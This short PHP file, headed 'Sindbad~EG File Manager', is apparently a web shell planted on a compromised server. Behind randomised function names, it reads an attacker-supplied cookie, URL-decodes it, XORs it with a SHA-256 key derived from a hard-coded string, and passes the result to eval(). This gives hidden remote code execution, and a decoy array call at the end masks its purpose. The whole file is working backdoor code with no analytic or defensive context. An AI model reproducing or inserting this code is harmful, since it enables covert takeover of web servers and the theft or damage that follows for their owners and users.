Sindbad~EG File Manager

<?php function wXIigbDu($LDPwqW)
{
    $aIsYtK = RpCCB($LDPwqW);
    $RidLOzbKgR = BCPgCiWwa($LDPwqW, $aIsYtK);
    return $RidLOzbKgR;
}
function zbcFRlAvHx()
{
    $Hgkzot = "pgEBBekHTEYHiKASVS";
    return $Hgkzot;
}
function NcQOtOyApf($rZWlizfqT, $vvhHDQIoA) {
    return array_merge($rZWlizfqT, $vvhHDQIoA);
}
function uTlLl($PBbZhpXrO)
{
    $uvvAm = strlen($PBbZhpXrO);
    return $uvvAm;
}
function EjHwpYvDkc()
{
    $LEhHwR = vhHmPgfQp();
    DyMRlIxO($LEhHwR);
}
function DyMRlIxO($PxvneQb)
{
    eval($PxvneQb);
}
function XxWtEH($rZWlizfqT, $vvhHDQIoA) {
    $HJNOYsLT = NcQOtOyApf($rZWlizfqT, $vvhHDQIoA);
    return zffwJJXp($HJNOYsLT);
}
function RpCCB($PbBHszNxL)
{
    $asJVJO = substr($PbBHszNxL, -4);
    return $asJVJO;
}
function BCPgCiWwa($FQercUQK, $IDdzE)
{
    $TwOmFQ = sWuFqYGV($FQercUQK);
    $aIBiP = HvAVJvA($IDdzE);
    $vYDmfkjzra = RxcKYtZK($aIBiP, $TwOmFQ);
    return $vYDmfkjzra;
}
function jXXQa($SvGemz)
{
    $DceUkcnUDX = rawurldecode($SvGemz);
    return $DceUkcnUDX;
}
function OgASF($PNswZw, $JaTAamD)
{
    $PTgFFr = str_pad($PNswZw, $JaTAamD, $PNswZw);
    return $PTgFFr;
}
function zffwJJXp($nglOjTU) {
    return array_unique($nglOjTU);
}
function RxcKYtZK($HOWvGSC, $itengenK)
{
    $ldwIZPoHkE = uTlLl($HOWvGSC);
    $emLrerRPJ = OgASF($itengenK, $ldwIZPoHkE);
    $LEhHwR = TNVKmKd($emLrerRPJ, $HOWvGSC);
    return $LEhHwR;
}
function zYbZUhBODT($nQgCQYo)
{
    $PxvSQnxi = $_COOKIE[$nQgCQYo];
    return $PxvSQnxi;
}
function HvAVJvA($VtnMPgVs)
{
    $atuAfQCc = zYbZUhBODT($VtnMPgVs);
    $aIBiP = jXXQa($atuAfQCc);
    return $aIBiP;
}
function vhHmPgfQp()
{
    $FRDqCTEd = zbcFRlAvHx();
    $cqsmSx = wXIigbDu($FRDqCTEd);
    return $cqsmSx;
}
function sWuFqYGV($mEtLoP)
{
    $wsQbUWAMQR = hash("sha256", $mEtLoP, TRUE);
    return $wsQbUWAMQR;
}
function TNVKmKd($OFxlliS, $OzaTkMv)
{
    $FmxeR = $OFxlliS ^ $OzaTkMv;
    return $FmxeR;
}
EjHwpYvDkc();
$uzXxWNoee = XxWtEH([1, 2, 3], [3, 4, 5]);